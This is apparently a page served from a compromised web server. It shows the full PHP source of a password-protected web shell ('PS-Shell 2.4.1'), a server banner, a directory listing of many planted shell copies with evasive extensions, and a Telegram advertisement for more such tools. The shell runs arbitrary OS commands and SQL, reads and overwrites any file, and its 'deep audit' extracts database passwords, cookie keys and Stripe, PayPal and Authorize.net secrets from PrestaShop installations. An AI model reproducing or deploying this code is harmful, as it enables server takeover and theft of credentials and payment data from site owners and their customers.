aDriv4 website!

Linux ubuntu-s-2vcpu-4gb-fra1-01 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
134.209.252.102

File Name : fm_1.php8

<?php

define('SHELL_PASSWORD', '73143174137');
session_start();

if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['pass']) && $_POST['pass'] === SHELL_PASSWORD) {
        $_SESSION['authenticated'] = true;
    } else {
        ?>
        <!DOCTYPE html>
        <html><head><title>Auth</title><style>
            body { font-family: monospace; background: #1e1e1e; color: #fff; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
            .auth-box { background: #2d2d2d; padding: 30px; border-radius: 8px; }
            input[type="password"] { width: 250px; padding: 10px; background: #3d3d3d; border: 1px solid #555; color: #fff; }
            input[type="submit"] { padding: 10px 20px; background: #4CAF50; border: none; color: white; cursor: pointer; }
        </style></head>
        <body><div class="auth-box"><h2>🔒 Authentication</h2><form method="post"><input type="password" name="pass" autofocus><input type="submit" value="Login"></form></div></body></html>
        <?php exit;
    }
}

// --- DB CONNECTION HELPER ---
function getDbConnection() {
    $root = $_SERVER['DOCUMENT_ROOT'];
    $cfg = ['h' => '', 'u' => '', 'p' => '', 'n' => ''];
    $p1 = $root . '/app/config/parameters.php';
    $p2 = $root . '/config/settings.inc.php';
    if (file_exists($p1)) {
        $c = file_get_contents($p1);
        preg_match('/database_host\'\s*=>\s*\'(.*?)\'/', $c, $m); $cfg['h'] = $m[1] ?? '';
        preg_match('/database_user\'\s*=>\s*\'(.*?)\'/', $c, $m); $cfg['u'] = $m[1] ?? '';
        preg_match('/database_password\'\s*=>\s*\'(.*?)\'/', $c, $m); $cfg['p'] = $m[1] ?? '';
        preg_match('/database_name\'\s*=>\s*\'(.*?)\'/', $c, $m); $cfg['n'] = $m[1] ?? '';
    } elseif (file_exists($p2)) {
        $c = file_get_contents($p2);
        preg_match('/_DB_SERVER_\', \'(.*?)\'/', $c, $m); $cfg['h'] = $m[1] ?? '';
        preg_match('/_DB_USER_\', \'(.*?)\'/', $c, $m); $cfg['u'] = $m[1] ?? '';
        preg_match('/_DB_PASSWD_\', \'(.*?)\'/', $c, $m); $cfg['p'] = $m[1] ?? '';
        preg_match('/_DB_NAME_\', \'(.*?)\'/', $c, $m); $cfg['n'] = $m[1] ?? '';
    }
    return ($cfg['n']) ? new mysqli($cfg['h'], $cfg['u'], $cfg['p'], $cfg['n']) : null;
}

// --- AUDIT CORE (Fixed to skip self) ---
function performDeepAudit() {
    $root = $_SERVER['DOCUMENT_ROOT'];
    $thisFile = basename(__FILE__);
    $results = "=== [ DEEP AUDIT RESULTS ] ===\n\n";
    $results .= "[+] DATABASE & SYSTEM KEYS:\n";
    foreach (['/app/config/parameters.php', '/config/settings.inc.php'] as $path) {
        if (file_exists($root . $path)) {
            $content = file_get_contents($root . $path);
            $results .= "    File: $path\n";
            if (preg_match_all('/[\'"](database_host|database_user|database_password|database_name|db_server|db_user|db_passwd|db_name)[\'"]\s*(=>|,)\s*[\'"](.*?)[\'"]/', $content, $m)) {
                foreach ($m[1] as $i => $key) $results .= "      - $key: " . $m[3][$i] . "\n";
            }
            if (preg_match('/(_COOKIE_KEY_|cookie_key)[\'"]\s*(=>|,)\s*[\'"](.*?)[\'"]/', $content, $ck)) {
                $results .= "      > [!] COOKIE KEY: " . $ck[3] . "\n";
            }
        }
    }
    $results .= "\n[+] PAYMENT GATEWAY KEYS:\n";
    $sigs = [
        'Stripe' => 'sk_live_[0-9a-zA-Z]{24}',
        'PayPal' => 'paypal_secret[\'"]\s*=>\s*[\'"](.*?)[\'"]',
        'Auth Net' => 'x_login|x_tran_key'
    ];
    $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root . '/modules'));
    foreach ($it as $f) {
        if ($f->isFile() && $f->getFilename() !== $thisFile && $f->getExtension() == 'php' && $f->getSize() < 250000) {
            $c = @file_get_contents($f->getRealPath());
            foreach ($sigs as $label => $p) {
                if (preg_match("/$p/i", $c, $m)) $results .= "    $label Found in: " . $f->getFilename() . " (Path: " . str_replace($root, '', $f->getRealPath()) . ")\n";
            }
        }
    }
    return $results;
}

// --- HANDLERS ---
$cwd = $_GET['cwd'] ?? getcwd();
if (!is_dir($cwd)) $cwd = getcwd();
chdir($cwd);
$output = ''; $sql_res = '';

if (isset($_POST['sql_query'])) {
    $db = getDbConnection();
    if ($db) {
        $q = $db->query($_POST['sql_query']);
        if ($db->error) $sql_res = "Error: " . $db->error;
        elseif (is_object($q)) { while($r = $q->fetch_assoc()) $sql_res .= print_r($r, true); }
        else { $sql_res = "Affected rows: " . $db->affected_rows; }
        $db->close();
    } else { $sql_res = "Error: Database connection failed."; }
}

if (isset($_POST['cmd'])) { $output = shell_exec($_POST['cmd'] . " 2>&1"); }
if (isset($_GET['edit'])) {
    $editPath = $_GET['edit'];
    $realEdit = @realpath($editPath);
    if ($realEdit && $realEdit === realpath(__FILE__)) {
        header('Content-Type: text/plain');
        echo "Cannot open this file (current script).";
        exit;
    }
    header('Content-Type: text/plain');
    echo file_get_contents($editPath);
    exit;
}
if (isset($_POST['save_path'])) {
    $savePath = $_POST['save_path'];
    $realSave = @realpath($savePath);
    if ($realSave && $realSave === realpath(__FILE__)) {
        echo "ERROR"; // нельзя перезаписывать текущий скрипт
        exit;
    }
    echo file_put_contents($savePath, $_POST['content_to_save']) !== false ? "SUCCESS" : "ERROR";
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>PS-Shell 2.4.1</title>
    <style>
        body { font-family: 'Segoe UI', sans-serif; background: #0d1117; color: #c9d1d9; font-size: 13px; margin: 0; }
        .nav { background: #161b22; border-bottom: 1px solid #30363d; padding: 10px 20px; display: flex; gap: 10px; }
        .tab-trigger { padding: 6px 15px; background: #21262d; border: 1px solid #30363d; color: #8b949e; cursor: pointer; border-radius: 6px; font-weight: bold; }
        .tab-trigger.active { background: #238636; color: white; border-color: #2ea043; }
        .panel { background: #161b22; border: 1px solid #30363d; padding: 20px; border-radius: 6px; margin: 20px; }
        .btn { border:none; padding: 8px 15px; border-radius: 4px; cursor: pointer; color: white; background: #238636; font-weight: bold; }
        .btn-purple { background: #8957e5; }
        .btn-orange { background: #d29922; }
        textarea { width: 100%; height: 120px; background: #0d1117; color: #c9d1d9; border: 1px solid #30363d; padding: 10px; border-radius: 6px; font-family: monospace; box-sizing: border-box; }
        pre { background: #010409; padding: 15px; color: #7ee787; border-left: 3px solid #238636; overflow: auto; white-space: pre-wrap; font-family: monospace; }
        .file-browser { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 10px; margin: 15px 0; max-height: 300px; overflow-y: auto; }
        .item { background: #0d1117; padding: 8px; border: 1px solid #21262d; cursor: pointer; border-radius: 4px; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; }
        .item:hover { border-color: #58a6ff; }
        .dir { color: #58a6ff; } .file { color: #7ee787; }
        .hidden { display: none; }
    </style>
</head>
<body>
<div class="nav">
    <div class="tab-trigger active" onclick="switchTab('dashboard')" id="btn-dashboard">DASHBOARD</div>
    <div class="tab-trigger" onclick="switchTab('sql_console')" id="btn-sql_console">SQL CONSOLE</div>
</div>
<div id="tab-dashboard">
    <div class="panel">
        <h3 style="margin-top:0; color:#58a6ff;">🚀 Main Tools</h3>
        <div style="display:flex; gap:10px; margin-bottom:15px;">
            <button onclick="location.href='?cwd=<?=urlencode($cwd)?>&do=audit'" class="btn btn-purple">RUN DEEP AUDIT</button>
        </div>
        <?php if(isset($_GET['do']) && $_GET['do'] == 'audit'): ?>
            <pre><?= htmlspecialchars(performDeepAudit()) ?></pre>
        <?php endif; ?>
        <div style="margin-bottom:8px;">Path: <span style="color:#7ee787"><?= htmlspecialchars($cwd) ?></span></div>
        <form method="post">
            <textarea name="cmd" style="height:60px;"><?= $_POST['cmd'] ?? '' ?></textarea>
            <button type="submit" class="btn" style="width:100%; margin-top:10px;">EXECUTE COMMAND</button>
        </form>
        <?php if($output): ?><pre><?= htmlspecialchars($output) ?></pre><?php endif; ?>
    </div>
    <div class="panel">
        <h3 style="margin-top:0;">📂 Files</h3>
        <div class="file-browser">
            <div class="item dir" onclick="location.href='?cwd=<?=urlencode(dirname($cwd))?>'">[ .. ]</div>
            <?php
            $selfFile = basename(__FILE__);
            foreach(scandir($cwd) as $f): if($f=='.') continue;
                if ($f === $selfFile) continue; // не показывать и не давать открывать сам скрипт
            ?>
                <div class="item <?=is_dir("$cwd/$f")?'dir':'file'?>" onclick="<?=is_dir("$cwd/$f")?"location.href='?cwd=".urlencode("$cwd/$f")."'":"editFile('".addslashes("$cwd/$f")."')"?>">
                    <?= (is_dir("$cwd/$f")?'📁':'📄') ?> <?= htmlspecialchars($f) ?>
                </div>
            <?php endforeach; ?>
        </div>
    </div>
    <div class="panel">
        <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px;">
            <h3 style="margin:0;">📝 Editor</h3>
            <button onclick="saveFile()" class="btn">SAVE FILE</button>
        </div>
        <div id="status" style="margin-bottom:5px; color:#d29922;"></div>
        <input type="hidden" id="edit_path">
        <textarea id="editor" style="height:400px;"></textarea>
    </div>
</div>
<div id="tab-sql_console" class="hidden">
    <div class="panel">
        <h3 style="margin-top:0; color:#d29922;">🗄️ SQL Console</h3>
        <form method="post">
            <input type="hidden" name="active_t" value="sql_console">
            <textarea name="sql_query" placeholder="SELECT * FROM ps_configuration LIMIT 5;"><?= $_POST['sql_query'] ?? '' ?></textarea>
            <button type="submit" class="btn btn-orange" style="margin-top:10px; width:100%;">RUN SQL QUERY</button>
        </form>
        <?php if($sql_res): ?>
            <div style="margin-top:20px;"><strong>Results:</strong><pre><?= htmlspecialchars($sql_res) ?></pre></div>
        <?php endif; ?>
    </div>
</div>
<script>
    function switchTab(id) {
        document.getElementById('tab-dashboard').classList.add('hidden');
        document.getElementById('tab-sql_console').classList.add('hidden');
        document.getElementById('btn-dashboard').classList.remove('active');
        document.getElementById('btn-sql_console').classList.remove('active');
        document.getElementById('tab-' + id).classList.remove('hidden');
        document.getElementById('btn-' + id).classList.add('active');
        localStorage.setItem('ps_active_tab', id);
    }
    function editFile(path) {
        document.getElementById('edit_path').value = path;
        document.getElementById('status').innerText = "Loading...";
        fetch('?edit=' + encodeURIComponent(path)).then(r => r.text()).then(d => { 
            document.getElementById('editor').value = d;
            document.getElementById('status').innerText = "File: " + path;
        });
    }
    function saveFile() {
        const path = document.getElementById('edit_path').value;
        if (!path) return;
        const fd = new FormData();
        fd.append('save_path', path);
        fd.append('content_to_save', document.getElementById('editor').value);
        fetch(window.location.href, { method: 'POST', body: fd }).then(r => r.text()).then(res => {
            document.getElementById('status').innerText = (res === "SUCCESS") ? "Saved!" : "Error!";
        });
    }
    window.onload = () => {
        const last = '<?= $_POST['active_t'] ?? '' ?>' || localStorage.getItem('ps_active_tab') || 'dashboard';
        switchTab(last);
    }
</script>
</body>
</html>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	www-data/www-data	0755	2026-04-27 03:28:58
..	dir	-	www-data/www-data	0755	2026-04-27 03:28:58
.htaccess	text/plain	127 B	www-data/www-data	0444	2026-04-27 03:28:58
fm.php56	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:22
fm.php6	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:23
fm.php8	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:24
fm_1.php56	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:22
fm_1.php6	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:23
fm_1.php8	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:24
fm_2.php56	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:55
fm_2.php6	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:56
fm_2.php8	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-24 08:04:57
fm_3.php56	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:17
fm_3.php6	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:18
fm_3.php8	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:19
fm_4.php56	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:17
fm_4.php6	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:18
fm_4.php8	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:19
fm_5.php56	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:49
fm_5.php6	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:49
fm_5.php8	text/x-php	11.75 KB	www-data/www-data	0775	2026-03-31 07:17:50
fmotkp.PhAr	text/x-php	33 B	www-data/www-data	0775	2026-03-11 03:13:08
fmqzui.php.	text/x-php	37.3 KB	www-data/www-data	0775	2026-03-20 06:07:54
fmrkcg.shtml.	text/x-php	39 B	www-data/www-data	0775	2026-04-20 01:09:35
fmttdw.module	text/x-php	32 B	www-data/www-data	0775	2026-03-31 09:33:21
fmutdw.php4.	text/x-php	50 B	www-data/www-data	0775	2026-04-15 01:44:23
fmxmzs.PHAR	text/x-php	39 B	www-data/www-data	0775	2026-04-18 08:56:21

For more Private tool come to me!

https://t.me/aDriv4vz